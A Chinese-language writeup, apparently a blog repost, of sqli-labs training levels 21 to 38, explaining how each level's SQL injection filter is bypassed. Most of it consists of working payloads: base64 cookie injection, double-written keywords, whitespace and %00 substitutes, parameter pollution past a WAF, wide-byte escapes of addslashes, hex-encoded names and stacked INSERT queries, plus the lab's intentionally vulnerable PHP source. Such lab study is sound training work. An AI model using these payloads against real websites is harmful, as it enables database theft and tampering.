sqli-lab——Writeup21~38(各种过滤绕过WAF和)
Less-21 Cookie Injection- Error Based- complex - string ( 基于錯誤的復(fù)雜的字符型Cookie注入)
base64編碼,單引號,報(bào)錯型,cookie型注入。
本關(guān)和less-20相似,只是cookie的uname值經(jīng)過base64編碼了。
登錄后頁面:
mV0L3dlaXhpbl80NTY5NDM4OA==,size_16,color_FFFFFF,t_70)
cookie的地方顯然是base64加密過的,解碼得到:admin,就是剛才登陸的uname,所以猜測:本題在cookie處加密了字符串,
查看php文件確實(shí)如此,所以只需要上傳paylaod的時候base64加密一下就可以了。
抓包:
%3d為url編碼的 = 號
測試payloa:
admin' and 1=1 --+ //明文 YWRtaW4nIGFuZCAxPTEgLS0r //密文存在報(bào)錯回顯,即注入點(diǎn)
爆數(shù)據(jù)庫:
-admin') union select 1,2,database()# //明文 LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpIw== //密文剩下和less20 相同
less22(base64編碼,雙引號,報(bào)錯型,cookie型注入。)
單引號換雙引號
其余操作相同
less23(過濾注釋)
源碼:
可看到源碼過濾了注釋符:
構(gòu)造閉合型語句:
爆庫:
?id=' union select 1,2,database() '
爆表:
?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'= '
爆列名:
?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '1'= '
爆字段值:
?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '
less24(二次注入)
注冊一個賬號名為:admin’#,密碼設(shè)為admin
登陸選擇重置密碼
重置密碼為:123456
此時執(zhí)行語句為:
但因?yàn)閍dmin’# 的閉合和注釋
實(shí)際執(zhí)行為:
即通過帶有特殊字符的語句在修改密碼的語句當(dāng)中把語句變成了修改目標(biāo)賬號的密碼
注入完成
less25Trick with OR & AND (過濾了or和and)
雙寫繞過:
?id=0' oorr 1=1 --+ ?id=2' aandnd 1=1 --+less 26過濾了注釋和空格的注入
查源碼:
if(isset($_GET['id'])) {$id=$_GET['id'];//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id."\n");fclose($fp);//fiddling with comments$id= blacklist($id);//echo "<br>";//echo $id;//echo "<br>";$hint=$id;// connectivity $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){echo "<font size='5' color= '#99FF00'>"; echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";}else {echo '<font color= "#FFFF00">';print_r(mysql_error());echo "</font>"; } }else { echo "Please input the ID as parameter with numeric value";}function blacklist($id) {$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)$id= preg_replace('/[\/\*]/',"", $id); //strip out /*$id= preg_replace('/[--]/',"", $id); //Strip out --$id= preg_replace('/[#]/',"", $id); //Strip out #$id= preg_replace('/[\s]/',"", $id); //Strip out spaces$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashesreturn $id; }過濾了 or,and , /* , – , # , 空格 , /
空格替代:
%09 TAB鍵(水平) %0a 新建一行 %0c 新的一頁 %0d return功能 %0b TAB鍵(垂直)這道題還可以使用盲注實(shí)現(xiàn)
0'||left(database(),1)='s'%26%26'1'='1同樣報(bào)錯注入也可以實(shí)現(xiàn)
0'||updatexml(1,concat(0x7e,(Select%0a@@version),0x7e),1)||'1'='1只要將空格和and繞過 那么實(shí)現(xiàn)就簡單了
or和and 很好過濾,注釋過濾了就使用永真閉合
less26a過濾了空格和注釋的盲注
和上一題區(qū)別不大
通過檢測 0’||‘1’=‘1 判斷是’
也可以通過fuzz去查看 發(fā)現(xiàn) ') ") 無報(bào)錯
使用盲注ok
0’||left(database(),1)>‘s’%26%26’1’='1
嘗試?yán)@過,這兩個都可以繞過
0’)%a0union%a0select%a01,2,3||(‘1
0’)%a0union%a0select%a01,2,3;%00
雖然這道題說是盲注,但是通過閉合 也可以直接爆出結(jié)果。
less27(過濾了注釋和空格的注入)
做了這么多了,下來就不說如何拿到數(shù)據(jù)了,重點(diǎn)在于如何繞過,只要能夠找到注入點(diǎn),剩下的可以利用sqlmap 等等工具直接利用,畢竟在滲透中,沒有那么多的時間讓我們?nèi)ハ?/p>
過濾了union和select
繞過方式:雙寫 大小寫
0’%0aUnioN%0aSeleCT%0a1,2,3;%00
0’%A0UnIoN%A0SeLeCt(1),2,3%26%26%a0’1
這里說明一下,冒號可以做閉合用, %00用來截?cái)?這樣和注釋有相同的含義,這下繞過就多了:注釋,分號閉合,冒號%00截?cái)?/p>
Less-27a 過濾了union和select
方法1:
和上一題一樣,但是把單引號換成了雙引號
替換上一題的payload即可繞過
方法2:
爆數(shù)據(jù)庫:
http://10.10.10.141/sql/Less-27a/?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,database(),“3
爆表名:
http://10.10.10.141/sql/Less-27a/?id=1”%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema=‘security’%a0%26%26%a0"1"%a0=“1
查字段名:
http://10.10.10.141/sql/Less-27a/?id=1”%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema=‘security’%a0And%a0table_name=‘users’%26%26%a0"1"%a0=“1
查數(shù)據(jù):
http://10.10.10.141/sql/Less-27a/?id=-1”%a0And%a0(length(database())>8)%a0UNion%a0SElect%a0(1),(group_concat(username)),(3)from%a0users%a0UNion%a0SElect%a01,2,“3”="3
less28過濾了union和select大小寫
沒有報(bào)錯 盲注
過濾了大小寫
但是可以整體雙寫
less28a濾了union和select大小寫
過濾大小寫,但是過濾不嚴(yán)格
類似于28 這里可以使用注釋
less29 獲取-基于錯誤的缺乏證據(jù)的不匹配-在web應(yīng)用程序前面有一個WAF。
大佬的解釋:
http://blog.csdn.net/nzjdsds/article/details/77758824
waf是只允許輸入數(shù)字的,我們在輸入數(shù)字的時候先給waf看然后檢測正常后才轉(zhuǎn)發(fā)給我們需要訪問的頁面,這里我弄2個值,一個是用來欺騙waf的。另一個才是給我們需要訪問頁面的
注入:
?id=1&id=-1' union select 1,2,database() --+less30有waf的盲注
參考less29
?id=1&id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+Less-31 Protection with WAF 有waf防護(hù)
?id=1&id=-1")union select 1,2,database() --+less32:bypass Addslashes()
繞過 addslashes()
寬字節(jié)繞過引號轉(zhuǎn)義
addslashes()會在單引號前加一個\ 例如:I’m hacker 傳入addslashes(),得到:I’m hacker
本題想以此阻止sql注入語句閉合,但是可以使用寬字節(jié)繞過:
原理大概來說就是,一個雙字節(jié)組成的字符,比如一個漢字‘我’的utf8編碼為%E6%88%91 當(dāng)我們使用?id=-1%E6’ 這樣的構(gòu)造時,’ 前面加的 \ 就會和%E6 合在一起,但是又不是一個正常漢字,但是起到了注掉 \ 的作用,庫。
樣例payload
?id=-1%E6' union select 1,version(),database() --+我在爆列名的時候卡了一下,分析半天語句最后想起來了, ‘users’ 這里有單引號。
使用十六進(jìn)制編碼就可以繞過了’'使用0x 代替,users 使用十六進(jìn)制編碼得到7573657273,構(gòu)造為0x7573657273
?id=-1%E6' union select 1,version(),group_concat(column_name) from information_schema.columns where table_name =0x7573657273--+接下來的步驟比較簡單,不再贅述。
注入完成。
less33:Bypass Add SLASHES
和33一模一樣
less34:Bypass Add SLASHES
繞過添加斜杠
和上一關(guān)差別不大,使用post請求
一樣的寬字節(jié)注入,并且在uname和passwd處都存在注入
post方式,抓包提交。
樣例payload
uname=admin%99' union select version(),database()--+&passwd=admin&submit=Submit爆列名的時候要注意’users’的轉(zhuǎn)義。
注入結(jié)束。
less35 GET-Bypass添加斜杠
為什么要關(guān)心addslashes()
測試payload:
?id=1’
id周圍沒有單引號或雙引號,現(xiàn)在就明白題目的標(biāo)題了,不需要要過,直接注入,無比簡單,不再贅述。
樣例payload
?id=-1 union select 1,version(),database()–+
Less-36 寬字節(jié)注入GET-Bypass MySQLreal escape_string
先來看看這個函數(shù)
mysql_real_escape_string() 函數(shù)轉(zhuǎn)義 SQL 語句中使用的字符串中的特殊字符。
下列字符受影響:
\x00 \n \r \ ' " \x1a如果成功,則該函數(shù)返回被轉(zhuǎn)義的字符串。如果失敗,則返回 false。
而這個函數(shù)可以通過以下語句繞過
aaa’ OR 1=1 –
0%df’ union select 1,2,database() --+
Less-37寬字節(jié)注入
到了后面,主要講思路,語句基本都會了
這里是post方式,我們抓包 添加語句到uname或者passwd中,同樣是添加’%df報(bào)錯,查詢 --+做注釋
成功繞過
Less-38 層次化查詢
可以直接正常注入
主要看下這個函數(shù)
mysqli_more_results() 檢查一個多重查詢語句中是否有更多結(jié)果
堆疊注入,也就是可以執(zhí)行多條sql語句
/Less-38/?id=1';insert into users(id,username,password) values ('38','less38','hello')--+總結(jié)
以上是生活随笔為你收集整理的sqli-lab——Writeup21~38(各种过滤绕过WAF和)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 工商银行个人贷款种类
- 下一篇: 华硕主板怎么在BIOS开启网卡 如何在华